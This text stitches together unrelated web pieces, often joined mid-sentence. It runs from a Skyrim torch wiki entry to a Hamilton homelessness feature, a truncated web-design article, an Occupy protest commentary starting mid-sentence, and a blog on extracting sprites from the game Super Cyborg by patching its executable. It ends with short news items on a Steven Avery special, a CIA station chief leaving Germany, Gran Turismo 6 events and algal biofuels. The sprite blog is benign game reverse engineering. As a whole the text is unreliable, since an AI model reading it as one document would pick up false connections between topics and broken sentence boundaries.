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Individuals who prefer to provide information anonymously call the Big Island’s Crime Stoppers number at 961-8300.Torch Weight Base Value 0.5 2 Type Miscellaneous Item FormID 0001D4EC
For other uses, see Torch.
A Torch is an item in The Elder Scrolls V: Skyrim.
Contents show]
Locations Edit
Torches can be purchased, pickpocketed, looted from dead bodies, found in containers (rarely), or removed from walls. Only torches with brown handles can be removed from a wall - those with black handles cannot be taken. They are most commonly found in caves, grottoes, and mines populated with people (bandits, mages/witches, Forsworn, etc.), but can occasionally be found in other locations.
Some locations where torches can be found:
Trivia Edit
If bashing while blocking, enemies will catch fire, much like with a fire enchantment on a weapon. This will increase the Block skill. When bashing, a torch deals 3 additional fire damage over a 1-second duration, however, because burn damage stacks it is possible to inflict very good damage with a torch at low levels or difficulty. Some followers will use a torch (if one was given to them) as a shield, but (for at least some followers), when they "bash" with the torch, the enemy does not catch fire like they would when bashed by the player.
Torches cannot be sold to any merchants, regardless of merchant type or perks.
Torches cannot be zoomed in on or rotated like other objects in inventory.
If dropped into a stream or other body of water, a lit torch's flame will not be extinguished.
Removing a torch from its sconce can help darken an area to prevent detection if enemies are nearby. Care must be taken to not be exposed while doing so.
There is a very rare variant that has zero weight and zero value in Hrodulf's House.
Dropped torches will not be lit, but will be lit upon returning to the area, permanently emitting light on their surroundings. Torches can therefore be used to light a house, and while purchased lighting sources have predetermined locations, torches can be placed anywhere, allowing control over the brightness, direction of light, and mood set.
Torches can be given to followers, who will then use them to lighten dark areas, or during rainy weather, a blizzard, or heavy fog. Torches can also be given to Dead Thralls, who will use them in the same manner as followers.
The base duration of a torch is 240 seconds, after which the torch will burn out and disappear from inventory. Sheathing and taking the torch back out again will reset this duration. A torch can be used indefinitely, as long as it is always unequipped and re-equipped before the 4-minute mark.
While torches held by the player will go out after a while, torches given to followers will never go out, thus giving an infinite source of light.
Bugs Edit
This section contains bugs related to Torch (Skyrim). Before adding a bug to this list, consider the following: Please reload an old save to confirm if the bug is still happening. If the bug is still occurring, please post the bug report with the appropriate system template 360 / XB1, PS3 / PS4, PC / MAC, NX, depending on which platform(s) the bug has been encountered on. Be descriptive when listing the bug and fixes, but avoid having conversations in the description and/or using first-person anecdotes: such discussions belong on the appropriate forum board.
PS3 Upon pickpocketing six guards' torches, then going into Warmaiden's and dropping all of them, the torches were seen to hover in midair. Once bumped, they will fall to the floor. While floating, the torches also seem to glow much brighter than usual.
Upon pickpocketing six guards' torches, then going into Warmaiden's and dropping all of them, the torches were seen to hover in midair. Once bumped, they will fall to the floor. While floating, the torches also seem to glow much brighter than usual. 360 PS3 It is possible for torches to multiply while in inventory after several days.
It is possible for torches to multiply while in inventory after several days. 360 Torches can also duplicate when dropping multiples. For example, if the Dragonborn has 20 torches and drops 18, after picking all of the torches up, there will now be 21 in inventory.
Torches can also duplicate when dropping multiples. For example, if the Dragonborn has 20 torches and drops 18, after picking all of the torches up, there will now be 21 in inventory. PS4 Opening a container, looting a corpse, reading a book, or activating the Pause, Wait, or Character Menus may cause the scenery to appear darker if the Dragonborn has a torch equipped. Exiting them or taking the book should resolve it and re-brighten the scenery to its previous brightness level.
Opening a container, looting a corpse, reading a book, or activating the Pause, Wait, or Character Menus may cause the scenery to appear darker if the Dragonborn has a torch equipped. Exiting them or taking the book should resolve it and re-brighten the scenery to its previous brightness level. XB1 PS4 Equipping a torch may cause the scenery to briefly flash, especially in dark environments, like caves and dungeons.There’s a block of houses in Hamilton that exists as some kind of sad metaphor. It sits in the middle of tidy suburban streets and it lines a small part of the new motorway, so that thousands of cars pass by it on their way to work and on their way home. It’s as close to a slum as you could get in this country, the kind of place that makes you think, Who would live there? Who could? You wouldn’t send someone there to rot, and yet the fact it remains says something of our apathy. Housing New Zealand owns the 58 units on the 21,000 square metre site. It’s called the Jebson Block.
I wrote about the neighbourhood and the people who lived there in 2014. About Josephine Anderson who had requested a house anywhere but the Jebson Block out of fear that her kids would grow up around gangs, but was placed there anyway; her son was in jail when I spoke to her, the holes punched in the walls from the worst days reminding her of the sadness. About Lana Radcliffe, who had a smile on her face that made no sense and a toy cat sitting in the window ledge; she said she was “very lonely, very lonely indeed” as she remained in her unit while those who surrounded her moved off. About Mike Surch, who collected junk and piled it up on top of junk, a jolly character who knew everyone in the neighbourhood and had the endearing nickname Old Man Mike.
And Sharon Karauna, who had to sit down halfway up the steps to the bathroom in order to catch her breath, even though she was only 48. Since those visits, I can’t drive past the Jebson Block without thinking of Sharon Karauna and the sad sound of her wheezing, the way she looked standing there in her dressing gown that day.
Early in 2014, Housing New Zealand had told tenants of the Jebson Block that the houses they occupied were going to be demolished and each of them relocated by the year’s end. It’s been over two years and no decisions have been made regarding the future of the place. The land is available for housing that is fit for purpose and all that is lacking is the governmental will to do it.
For years the level of graffiti has been so bad it looks like people must tag there as a permanent job. Since 2015, HNZ has paid a security firm over $2500 a month to keep an eye on the area after concerns were raised about the level of graffiti and rubbish. In May, a letter was sent out to the few remaining residents to say three buildings in the area would be demolished: “The buildings are old and no longer fit for purpose,” it said, “and it would be uneconomic to repurpose and reconfigure them to bring them into line with the current standards.” It said the houses would be removed and the plots of land turned to grass “until decisions are made on the possible future use of the land”.
The buildings are almost all empty, now. In between the boarded up windows, sometimes a light can be seen inside a few of the houses at night. It’s as if everything about the place is dead, but it still limps on. I knocked on Old Man Mike’s door last week, but I knew it was empty before I got there because the clutter was gone from his carport. The toy cat still looks out from Lana Radcliffe’s window but the curtains are closed and no one answers the door. Down one side street, toddlers were running out onto the deserted road. Their aunty was watching from the fence and she looked around her and said “it’s all contaminated.” It felt like that.
One of the few remaining tenants says that at night he often sees cars parked down the abandoned driveways, people sleeping inside them. Some Hamilton-based agencies say there has been an increase in rough sleepers who have come down from Auckland. Some say they are coming from all over, some say they have been here all along. One week last month, five cases of people sleeping in their cars had come to the attention of Hamilton’s St Vincent de Paul general manager Mike Rolton. “They come to see us for blankets, warm clothes, food,” he said. One was a 21 year old woman, found with her nine month old baby after she had parked on a suburban street and a homeowner followed the sound of a crying child. I wanted desperately to talk to her, but when Rolton asked she said she felt too ashamed.
In the Waikato, there are around 190 people on the social housing register, and there are many more who don’t put their names in the mix, but are in serious need of housing. In 2014, the People’s Project was set up in Hamilton as a response to the growing concern that the city was rife with people who had dire housing needs. Because even the squalor of Jebson is preferable to the makeshift conditions that some are forced to live in instead
“The Jebson Block is an important part of the supply chain,” says chief executive Julie Nelson, “and the fact that it is sitting there empty is not helpful in the current market. Imagine how many people we could transition overnight if that housing were available.” Nelson says the vast majority of clients helped by the People’s Project (211 have been housed since it started in 2014 with a 93 per cent retention rate) are housed in the private sector.
Why are they not placed in social housing? “What people are saying is that their housing need is now,” she says. Even then, private housing is difficult to come by. One general manager of a private rental company who asked not to be named in order to speak freely, said “the unfortunate thing is that the greater the need that the tenant has, the less likely they are to get private accommodation. Unless you’ve got a real social conscience, if you had to choose between eight people living in a car and a family with jobs going for the same house, you are more likely to put the people with a job into it. That’s the harsh reality.”
When I met Carina Renata, she was sitting in an office at Whanau Ora centre Te Kohao Health. We could see the Jebson Block from the window on the top floor. Imagine if houses had been built so that you could move in there, I say. But she’s done with imagining. She looks out the window and she doesn’t say anything at all.
Carina Renata is a small woman who is 43 years old. She has five kids. She dresses tidily in a cheap black suit and she speaks only after having thought hard about it first. The need for her to find a place to live affects her so much that the pain looks physical. Her support person says she is a strong, proud woman, and indeed, the tears only fall down her face once the whole time I talk to her. Renata and her five kids have been on the Housing New Zealand waitlist for six months. Four months ago she was notified that she was being fast tracked, but she’s still waiting.
When the private rental she had been living in was sold, she found it difficult to secure a place she could afford that was big enough for her family (she gets $600 a week on the benefit). She has a bad credit rating thanks to $300 owing on an ancient power bill and that was another deterrent. So she applied for social housing. She has been to Work and Income at her most desperate, with nowhere for her and her kids to sleep that night. “They offered me a motel to stay in for three nights and that was OK, I took that, but the situation was still there when the three days were over.”
Renata is studying hospitality management and four of her children are at school in the Waikato, where they have lived for the last five years. As she waits for a house to become available, there have been nights where she has slept in her 2002 Honda van with the three youngest children, aged 10, 12 and 14. “We slept on a mattress in the back,” she says. She is not the complaining type. It wasn’t cold, they had food, access to the Laundromat, just nowhere to live. Right now, her three eldest children are staying with friends. “We have never been apart, it’s so stressful,” she says. A relative has agreed to house her and the two youngest, but only temporarily. “Where to next?” she asks, and the tears fall from her eyes.
The second time she visited WINZ about emergency housing, Renata was given a list of Hamilton motels to call. The rugby was in town that weekend. She would have to pay back over $1000 if she stayed in any accommodation for those three nights. Saphire Tairakena, a Whanau Ora navigator for Te Kohao Health had come on board as an advocate and she sat with Renata that day in the WINZ office.
“It was the first time I had been to an appointment where a WINZ worker offered an $80 petrol voucher,” Tairakena says. “They were saying, Go back to your family [in Paeroa], even though Carina had told them that place was already overcrowded. They said that was the last option they could give her because she was not willing to incur another $1000 in debt.” For three nights the family slept on mattresses on the floor at Kirikiriroa Marae, and managing director of Te Kohao Health Tureiti Moxon says that hundreds have taken shelter in that same spot over the past three years.
“What needs to be remembered,” says Moxon, “is that sleeping in a car, at the Marae, at a relatives, all these experiences have an impact on those little ones. It seems that society is saying it’s okay, and we need to be saying very loudly that it isn’t.”
Mike Rolton says he sees a case like this one every day. He’s seen it all. He says there has been an increase in poverty this year, but since he started at St Vinnies six years ago, things have been getting progressively worse.
It’s hard, he says, to quantify the number of people sleeping rough, in sheds, in overcrowded houses. The Ministry of Social Development would not break down numbers from region to region, but said 80 applicants on the social housing register have indicated they are living in cars. To give an idea of the growing need within this city, he quotes some figures. In 2012, St Vinnies Hamilton made around 230 lunches every week for schools that had identified hungry children. They now make 1800 a week. In 2012, they drove around poor neighbourhoods in a van and fed around 50 people each weeknight, now they feed over 100. In 2012, they furnished 75 homes and this year, they furnished 320.
David Martini approached St Vinnies and the charity sent him away with food and the promise it will gather items to furnish the family’s new rental. He and his partner and their seven kids, the youngest, 4, the oldest, 15, have just moved into a five bedroom place. They own one double bed, one mattress, one couch, four sheets, five towels, one week’s worth of clothing each.
The family moved to Hamilton from Wellington three months ago, David hoping to find work as a builder, hoping to find a home to live first, and it took all this time. While they looked, they shifted into a shed at a relative’s house in Melville. In the shed, they had one double bed, one mattress and a couch. “All my little ones were on the bed,” says David, “the older kids were on the mattress, and me and my partner were on the couch.”
Inside, his relatives had another family staying and the house was overcrowded. When it got too cold and too hard, David and his family moved into motels for a week here and there, racking up the debt with WINZ which he estimates to be around $15,000.
“Things were really spiralling down,” he says. The kids got sick and scabs appeared all over their bodies, they cried a lot and David started smoking drugs again. He started noticing people stare at him and his family and he wondered if it was because they are brown, or because the kids have sores all over their arms and legs. He enrolled them at the free medical centre and the scabs are being treated but will not relent.
“I felt like being violent towards people sometimes,” he says. “I was in the state of mind where people would look at me and I would think ‘What are you looking at, we are just like you. Don’t look at my kids like they are scum, they are just like you.’”
Twice a week St Vinnies runs a lunch for people who need it, and it’s usually full. About 10 hands go up when the question is asked: how many of you know someone living in a car. A man yells out: “Is it true that they are paying people $5000 to move down here? Can I move to Auckland and then move back down?” The room erupts into sad laughter.
It’s not exactly true.
In May, the Ministry of Social Development announced plans to lure people out of the big smoke with $5000 to cover relocation costs. Says MSD’s housing general manager Jeremy Wilson, “We must believe the move will be sustainable … no one will be queue jumped, no local person will be displaced. We don’t support financing someone to move unless they have got a house signed up and they have access to the services they need.” The Ministry has forecasted 100-150 families will access the grant in the coming year, and after that says Wilson, “we are looking to move as many people who are willing to move.”
They always move back, says Peter Humphries, manager of Hamilton Christian Night Shelter. “They go back to the environment they are used to,” he says, “and it might compound the problem then, because they may have lost the garage or wherever they were staying. Someone else may have moved in there while they were gone.” He says the issue of homelessness in Hamilton is “steady as she goes,” but he gets a lot of calls from families, “and I have to tell them that we don’t have a service for them. There is a lack of family accommodation [in Hamilton].”
He says it’s hard to pin down the numbers of rough sleepers, of people sleeping in cars, “If, say, you are in overcrowded accommodation and someone comes around on Census night, you are not going to say you live there.”
I call Women’s Refuge to ask if they have had an increase in demand. “What we have noticed,” says manager Ariana Simpson, “is the number of cases we are having pushed down from Auckland towards us. There is definitely an increase in the number of people who are ringing our service and are living in their cars. We are a refuge from domestic violence, but these women have children. We have looked at the situation and said, ‘Oh my god, we are not going to turn our backs on women living in their cars with kids.’”
Theresa and Billy-Ray Moana have recently found housing thanks to the People’s Project, but before that they were living in their Mazda Demio. Most nights they would park outside the rugby clubrooms on the outskirts of the city. They would shower at the public pools. Billy-Ray would push the seat as far back as it would go in the car, and rest his feet on top of the brake. His wife Theresa would curl up on the passenger seat. “It was cramped,” she says, “it was cold, it was freezing at times.” She was scared at night when people walked past the window.
On the day I met them, they had walked across town to St Vinnies to get food, because their money had run out. They said they have $100 left between them at the end of the week after paying $250 rent for a studio apartment, including power. They don’t seem to mind this state of being at zero dollars most weeks after rent has gone out and the bills paid, after one measly grocery shop. All that matters is they have somewhere to live.
Read more of The Spinoff’s coverage of the homelessness crisis in Madeleine Chapman’s ‘A Week at Te Puea’There is a lot to be said about professions that require one set of skills that need to be honed for the most efficient operation of that job. A web design career, however, is in a different category. If you want to branch out, design better websites, impress your developers, attract more clients, and make more money, you’ll want to consider becoming a more well-rounded designer. The question is: what new skills should you take on to expand your repertoire and make yourself much more valuable?
Do web designers need to learn how to code?
The first thing to do is to distinguish a web designer from a web developer. Recently these two terms have been used interchangeably, but it was not always so. A web designer has traditionally been associated with the creative side of website development. They are responsible for web page optimization through the arrangement of colors, fonts, buttons, images, and logos per the request of the client. Web developers would then focus on the technicalities of making that website come to life through coding.
Related article: The Best Web Development and Web Design Tutorial Channels on YouTube
Recently, however, since coding can often be the most difficult part of web development, there has been an increasing demand for designers to tackle some of the coding aspects so that the entire development process can become more streamlined. So while it isn’t mandatory for a designer to learn to code, lacking those skills may result in some closed doors for your career.
Which languages should a traditional designer learn?
When you’re discussing coding for web development, you will end up with a list of programming or markup languages that may or may not be relevant to the projects that either you or your firm take on.
HTML– It may go without saying that HTML, or Hypertext Markup Language, is the bread and butter of the web development industry. It is used for everything from web pages to mobile apps and forms the one of the cornerstones of web-based technology. However, there’s a good chance that you have already encountered HTML |
a large smattering of "Anonymous" people - with their Guy Fawkes masks - who've become the new pole of attraction for the deep "autonomist" movement. Some women with their babies. And - the biggest group - just ordinary people.
Though the place was swarming with media, including a hilarious spoof of a Fox News reporter wearing a flak jacket, the main complaint is that the media is ignoring them and does not understand them. This latter point I think is largely true.
Image copyright (C) British Broadcasting Corporation Image caption Protesters mean to limit the power of finance capital and build a more equal society
Even in America, where the protests are bigger and have a bigger penumbra of liberal celebrities and writers to give them salience, the initial response to Occupy Wall Street was to ask: what does this mean for the Democrats? Will Obama's ratings improve?
It's a pointless question. Most people involved in such protests have switched off from mainstream politics: they believe it's a rich-person's club and totally impenetrable to reason or pressure. In Britain they have no intention of "raising demands" on Labour in opposition.
In fact they revel in their diversity; it was true in Syntagma and it is true at St Paul's - if you ask 50 people why they're here and what they want you will get 50 answers.
Powerful signal worldwide
But these protests are a powerful signal worldwide. Their mere existence shows that people are determined to "think globally" about routes out of this crisis - at a time when economics is driving politicians down the route of national solutions. However marginalised they are politically - and in some countries, above all America and Greece, they have broken out of marginalisation - it is still a fact: in 1931, as the remnants of Globalisation 1.0 collapsed, there were no mass international protests against austerity. There were plenty of national, and indeed nationalist ones.
The protesters yesterday stuck a spoof street sign saying "Tahrir Square, London, EC4M". This was not Tahrir - but it obeyed the same impulse to occupy physical space.
Image copyright (C) British Broadcasting Corporation Image caption Protesters say the media is ignoring them
The impulse, I believe, is being driven by two things: first it is - as I wrote in the 20 reasons - a meme. It is an effective action that is transmitting itself independent of any democratic structures and party political hierarchies: if you camp somewhere, the press turn up and you can get an instant hit of wellbeing by, however briefly and tenuously, living the dream of a communal, negotiated existence.
Second, because this communal, negotiated, networked life already exists in people's heads as a result of the rapid adoption of social networks and networked lifestyles. As Manuel Castells, one of the first sociologists of the internet, said: the more autonomous and rebellious a person's attitudes are, the more they use the internet; the more they use the internet, the more autonomous their lifestyle becomes.
Something has been going on between the left earphone and the right earphone of this generation that represents a profound change in attitude. I am still struggling to get my own head around it (I'm trying to write a book about it but the events keep happening too fast).
What is absolutely clear however, is what they are determined to do: it's much bigger than any single-issue campaign or cause. They mean to limit the power of finance capital and build a more equal society, while rejecting the hierarchical methods of the parties that once claimed to do so. In this sense the movement is a kind of replacement social democracy; a mirror image of the besuited young people who populate the think tanks of Labour, the SPD, the US Democrats etc.
Occupy Everywhere, then, is the kind of movement you get when people start to believe mainstream politicians have lost their principles, or are trapped by vested interests, or are all crooked.
That's the answer to the question "what". The answer to why now? Basically we are in danger of a global stagnation - it was HSBC's economics team that described it as a permafrost. It poses the question "who pays for the banking crisis" very acutely. And large numbers of people are now realising it is going to be them, and more painfully, their children. As in Greece, in that circumstance, for every protester camped in the freezing dawn there may be many more quietly fuming in their living rooms who feel the same way.Ripping Sprites From Super Cyborg
Anyone remember that game? I do. In fact, just looking at that image makes me hear that awesome 8-bit theme in my head. If, like me, you enjoyed playing Contra on the NES, Super Cyborg is probably right up your alley. It's a 2D run-and-gun action game with retro-style graphics and music. I think it looks pretty rad. The game is available on Desura (and also has recently been greenlit on Steam), has a free demo and works on Windows. I encourage you to try it. Do try the demo first before paying money, since it seems that some people had trouble running it.
However, this post is not going to be about the game itself. It's going to be about a little bit of reverse engineering I did with it. I don't really have a background in things like this, but I dabbled in it somewhat when I was younger, and I remember it being fun. Let's get started!
Beginning
I picked up the free demo of Super Cyborg on Desura one day when I was feeling bored. I enjoyed playing through the demo levels, and after a while I decided to take a closer look at the game to figure out what engine it was built with. Looking into the game folder, surprisingly, didn't give me any clues. There was a native Windows executable, a config file and a folder with a couple of small data files. There also didn't seem to be any files that contained resources like music, sprites and other stuff like that. Judging from the size of the executable, I thought that resources were probably baked into it directly. Since apparently I have too much free time, I decided to try and rip the sprites out of it.
I broke out PE Explorer and opened the executable with it. Like I expected, there was an RCDATA resource - typically used to include raw data directly into the executable. I assumed that it contained the things I was after - sprites. My first theory was that the RCDATA resource I was looking at was some kind of a compressed archive. I dumped the contents of the resource into a separate file and tried opening it as a zip, 7zip, rar, tar, etc., but no luck (as it turned out later, it wasn't an archive file at all, and the blob didn't actually contain the data I was looking for, but let's not jump too far ahead). After some more poking around in PE Explorer, the only more or less interesting thing I found out was that the game was built with BlitzBasic:
Surgery With a Debugger
Looking at stuff in PE explorer was getting me nowhere, so I decided it was time to observe our patient in action to figure out what it was doing. OllyDbg is pretty good for such purposes. The thing about it, though, is that, unless you know what you're looking for, it's very daunting to just sit and step through the entire program with a debugger. So I thought it would be a good start to log the system calls that the application was making.
Now, I know for sure that there is some good tool for Windows that does exactly that and more, but I am not currently aware of it. However, Wine has some pretty good debugging facilities that do exactly what I need. So, I just ran the game on Linux in Wine with some logging enabled:
env WINEDEBUG=+relay wine Super\ Cyborg\ demo.exe &> wine.log
This produced a pretty big log. It's still pretty difficult to find something in a gigabyte of text, especially if you don't know exactly what you're looking for. Eventually, after some trial and error, I arrived at the following theory: "since the sprites are packed into the executable, it would make sense to unpack them onto disk during runtime; if that is the case, the application has to call Windows' CreateFile at some point." Grepping through the logs yielded the following extremely promising results:
0009:Call KERNEL32.CreateFileA(0047b829 "Super Cyborg demo.exe", 80000000, 00000003, 0032e850, 00000003, 00000080, 00000000) ret=100a9487 0009:Ret KERNEL32.CreateFileA() retval=000000ec ret=100a9487 0009:Call KERNEL32.CreateFileA(031daef9 "data\\TMPshot_down_left_v2_2.png", 40000000,00000003, 0032e850, 00000002, 00000080, 00000000) ret=100a9487 0009:Ret KERNEL32.CreateFileA() retval=000000f0 ret=100a9487 0009:Call KERNEL32.CreateFileA(031d9619 "data\\TMPshot_down_left_v2_2.png", 80000000, 00000003, 0032e664, 00000003, 00000080, 00000000) ret=100a9487 0009:Ret KERNEL32.CreateFileA() retval=000000ec ret=100a9487 0009:Call KERNEL32.CreateFileA(031d9619 "data\\TMPshot_down_left_v2_2.png", 80000000, 00000003,0032e660, 00000003, 00000080, 00000000) ret=100a9487 0009:Ret KERNEL32.CreateFileA() retval=000000ec ret=100a9487
See those *.png file names? Those are exactly what we're looking for. The files weren't present while the game was running, so the game was probably deleting them. In that case, it has to call DeleteFile at some point, right?
0009:Call KERNEL32.DeleteFileA(031d5d71 "data\\TMPshot_left_v2_2.png") ret=10052997 0009:Ret KERNEL32.DeleteFileA() retval=00000001 ret=10052997 0009:Call KERNEL32.DeleteFileA(031d82e9 "data\\TMPshot_down_right_v2_2.png") ret=10052997 0009:Ret KERNEL32.DeleteFileA() retval=00000001 ret=10052997 0009:Call KERNEL32.DeleteFileA(031d8379 "data\\TMPshot_down_left_v2_2.png") ret=10052997
Yes, in fact the relevant call happens at virtual address 10052991! Let's open it up in OllyDbg. If we set a breakpoint before the delete call happens, we'll probably be able to see the files. But we can do something better. We can make the program skip the call entirely. Observe what's going on in the picture: first, we put the adress of the string containing the file name into EAX (the instruction at 1005298B), then we push EAX on the stack (this will be the argument to DeleteFile), then we invoke DeleteFile. According to the calling convention, after DeleteFile returns, its result will be stored in EAX, so we check it, and finally, return.
Now we can do a little surgery and replace the whole code that does the function call with a bunch of NOPs (OllyDbg lets you do that, select the instructions that you want to replace, then right click -> edit -> fill with NOP). For those who don't know, NOP is an x86 instruction that does nothing. So, we'll be telling the program to literally do nothing instead of invoking DeleteFile. After we replace the relevant part of code with NOPs, we can apply the patch to the executable, save the patched exe and run it. After that you'll see the "data" folder populated by a bunch of files!
It seems that when the sprite files are already present, the game won't try to overwrite them, so you can actually modify them and see the result of the modification in-game.
A Non-Invasive Method
Seeing that the game stores its sprites in PNG files, I decided to do a little experiment. The first 8 bytes of all PNG images are the same, it's called the PNG signature. The hexadecimal values are as follows: 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a. If the sprites are stored in non-compressed, non-encrypted form, then we'll definitely find something if we search for the PNG signature. Oh, look, what's this?
So, there's a way to rip out sprites without patching the game. It's possible to write something that scans the executable, finds the embedded PNG images and dumps them into separate files. Only a very brief knowledge of the PNG file structure is required. Let's have a look at what the PNG spec has to say:
A PNG file consists of a PNG signature followed by a series of chunks. [...] Each chunk consists of four parts: Length, [...], Chunk Type [...], Chunk Data [and] CRC
I'll let you read the spec if you want more details. For our purposes, the following points are important:
The start of PNG data is identified with an 8-byte signature.
The rest of the data is encoded in chunks.
A chunk has a 4-byte length field, a 4-byte type code field, an arbitrary-length data section and a 4-byte CRC field.
The end-of-file marker for PNG is a special chunk of type "IEND".
import sys, tempfile data = sys.stdin.buffer.read() pos = 0 while 1: pos = data.find(b'\x89PNG\x0d\x0a\x1a\x0a', pos) if pos == -1: break end = data.find(b'\x00IEND', pos) + 9 if end == -1: break open(tempfile.mkstemp(suffix=".png", dir="./")[1], "wb").write(data[pos:end]) pos = end
Conclusion
So there you go, two ways of ripping sprites out of that game. I like the first way (with exe patching) a little better though, because it potentially allows "mods", while the second one doesn't :)
Do try the game, and if you like it, support the developer! Hopefully we'll see more good stuff from them in the future.
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Please enable JavaScript to view the comments powered by Disqus."We are excited to share with viewers the latest in this compelling saga," Henry Schleiff, Group President, Investigation Discovery, American Heroes Channel and Destination America said in a statement."Following our investigation, we expect that Front Page: The Steven Avery Story will present crucial testimony and information that addresses many of the questions surrounding Steven Avery."
The ID special, co-produced with NBC News' Peacock Productions and to be hosted by Dateline NBC correspondent Keith Morrison, will likely look at comments made by Wisconsin prosecutor Ken Krantz, who has alleged that Making a Murderer left out important evidence when presenting their version of Avery's case.
This isn't the first time ID has taken on Avery's story, either. The network examined the stranger-than-fiction case in last year's series Did He Do It?
Front Page: The Steven Avery Story airs in late January on Investigation Discovery.This article is over 4 years old
Germany demanded spy chief's expulsion after two alleged German double agents working for the US were unmasked
CIA station chief ordered out of Germany has left, US confirms
The CIA station chief in Germany left the country on Thursday after Berlin's shock decision last week to demand his expulsion, the US and German governments said.
"We are confirming that the individual who was asked to leave the country last week is no longer in Germany," a US embassy spokesman said.
A German foreign ministry spokesman also confirmed the news that the US spy chief had left.
The daily Sueddeutsche Zeitung cited German and US government sources as saying that the man took a commercial flight from the western city of Frankfurt bound for the United States.
Germany last week ordered the CIA station chief out of the country amid the worst diplomatic row between the close Nato allies since the US-led invasion of Iraq in 2003, which Berlin vocally opposed.
Chancellor Merkel's government made the dramatic announcement after two alleged German double agents working for the United States were unmasked.
Federal prosecutors are investigating a defence ministry employee and an agent for the BND foreign intelligence agency on suspicion of supplying secrets to Washington.
The cases stoked still seething anger in Berlin about revelations that the US National Security Agency conducted mass spying operations against targets including Merkel's mobile phone.
Merkel and US President Barack Obama spoke by telephone Tuesday for the first time since the expulsion order against the CIA chief.
A White House statement said little about the conversation, only that Obama and Merkel "exchanged views on US-German intelligence cooperation, and the President said he'd remain in close communication on ways to improve cooperation going forward."
Merkel's spokesman Steffen Seibert declined to reveal the content of the "confidential" conversation but stressed that Germany saw "deep differences of opinion on the issue of the activities of the US intelligence services".
In a interview with public television last Saturday, Merkel lamented the breakdown of trust between Germany and the United States and a return to the thinking of the "Cold War era where everyone is suspicious of everyone".
US secretary of state John Kerry attempted to mend fences Sunday at talks with his German counterpart Frank-Walter Steinmeier in Vienna, insisting that the transatlantic allies remain "great friends".A new batch of seasonal events are now available in Gran Turismo 6, featuring beginner, intermediate, and expert level challenges involving Mazda’s MX-5 roadster, classic sports cars, and karts. This week’s challenges are as follows, and remember to stop by our GT6 Seasonal Events forum for in-depth analysis and discussion, and tips and tricks.
All events will be available through May 20th, 2015 at 23:00 GMT/UTC.
Beginner Level Classic Sports Car Race
Brands Hatch Indy Circuit, 5 Laps
Normal cars, 450PP max, Sports/Hard compounds or less
Year: 1979 or earlier
Gold: 85,000cr; Silver: 51,000cr, Bronze: 42,500cr
Gift: GT JAPANESE 004-W
Intermediate Level Kart Race 100
Kart Space 1, 6 Laps
Sports/Soft compounds or less
Gold: 120,000cr; Silver: 72,000cr, Bronze: 60,000cr
Gift: GT POLARIZED 004-P
Expert Level Roadster/MX-5: Tsukuba 6 Laps
Tsukuba Circuit, 6 Laps
Normal cars, 450PP max, Comfort/Soft compounds or less
Gold: 260,000cr; Silver: 156,000cr; Bronze: 130,000cr
Gift: GT METALLIC 003-C
GT6 Photomode image by ProjectWHaT.
More Posts On...This week the U.S. Department of Energy released a new roadmap for the development of algal biofuels. DOE researchers had dismissed this type of biofuel as too costly to be commercially successful in the mid-1990s following a nearly two-decade-long research project.
Green fuel: Algae, pictured here in a tank, is being studied by researchers at the National Renewable Energy Lab for its potential to make biofuels.
The new roadmap was accompanied by the announcement of $24 million in new DOE funding for algal biofuels research. That money is in addition to $140 million in algae funding from last year’s Recovery Act.
“Biotechnology has come a long way” since the earlier project, says Valerie Sarisky-Reed of the Office of Energy Efficiency and Renewable Energy, one of the lead authors of the roadmap. “With a dedicated research and development program, we can bring the economics to a suitable place within a 10-year time frame,” she says. “We chose to invest in it again because we felt we were within striking distance.”
The DOE originally considered algae as a means of making biofuels because some types of algae naturally produce large amounts of oil. The prolific organisms, if grown in ponds or closed bioreactors, could be used to produce more fuel per acre than other biofuels approaches, such as biochemically or thermochemically converting cellulosic biomass into fuel.
But the DOE program, which concluded in 1996, found that growing algae, and then harvesting and processing the oils, would only be cost-effective at high petroleum prices–between $59 and $186 a barrel. About that time, oil prices were less than $20 a barrel. Current estimates of the required price of petroleum for algae to be competitive range widely, from $10 to $100 a barrel, Sarisky-Reed says. Some estimates are even higher. Conventional approaches are only competitive when oil prices are as high as $400 a barrel, says David Berry, a partner at Flagship Ventures, based in Cambridge, MA.
The roadmap lays out a wide-ranging plan to bring the cost of algal biofuel production down. It identifies a broad set of challenges and research goals rather than selecting the most promising approaches. Sarisky-Reed says more research is needed to know whether it’s better, for example, to grow algae in an open pond and then harvest the oil, or to grow algae that’s been genetically engineered to continuously secrete fuels inside closed bioreactors.
The roadmap also details the reasons algal biofuels have proved challenging. For example, growing algae in open ponds is likely the lowest capital cost option, but pilot projects have shown that highly productive strains in these open ponds are quickly crowded out by less productive wild strains from the environment. Sealing algae in bioreactors can help protect them, but can also cause algae to overheat.
One of the attractive features of algae is that it can grow in wastewater, which could reduce water costs and leave fresh water for other uses, such as growing food. But the roadmap notes that, in practice, water-associated costs could be higher than expected. For example, wastewater could introduce pathogens that kill algae, requiring potentially expensive water treatment. In open ponds, water that evaporates has to be replenished with fresh water (otherwise contaminants will get more and more concentrated over time). In closed reactors, cooling systems could also increase the need for fresh water. The roadmap concludes, “If not addressed adequately, water can easily become a showstopper” for the technology.
For these and other reasons, many investors continue to be skeptical of algal biofuels. “Of the two or three dozen business plans we have evaluated, none seem to be economically viable for fuels in the next five years,” says Vinod Khosla, the entrepreneur who founded Khosla Ventures in part to promote alternative energy companies. “A comparison of biomass to algae suggests that costs are almost always going to be higher for algae.”
Yet, as the DOE roadmap notes, private investment in algae has been racing ahead of government investment lately. The Biotechnology Industry Association estimates that over $1 billion in private funds has been invested in algae R&D in recent years, including a deal for up to $600 million from ExxonMobil. This investment, and the DOE’s renewed interest, has in part been due to advances in biotechnology that could make it possible to greatly increase the productivity of algae and reduce the cost per gallon of biofuel.
One approach that’s emerging is to genetically engineer algae and other photosynthetic organisms to make and continuously secrete fuels such as ethanol and diesel rather than making oils that have to be harvested and further refined to make fuel, as is the case with conventional approaches to algae. Berry says newer approaches could be much more economical. “There are vast differences in productivity,” he says.
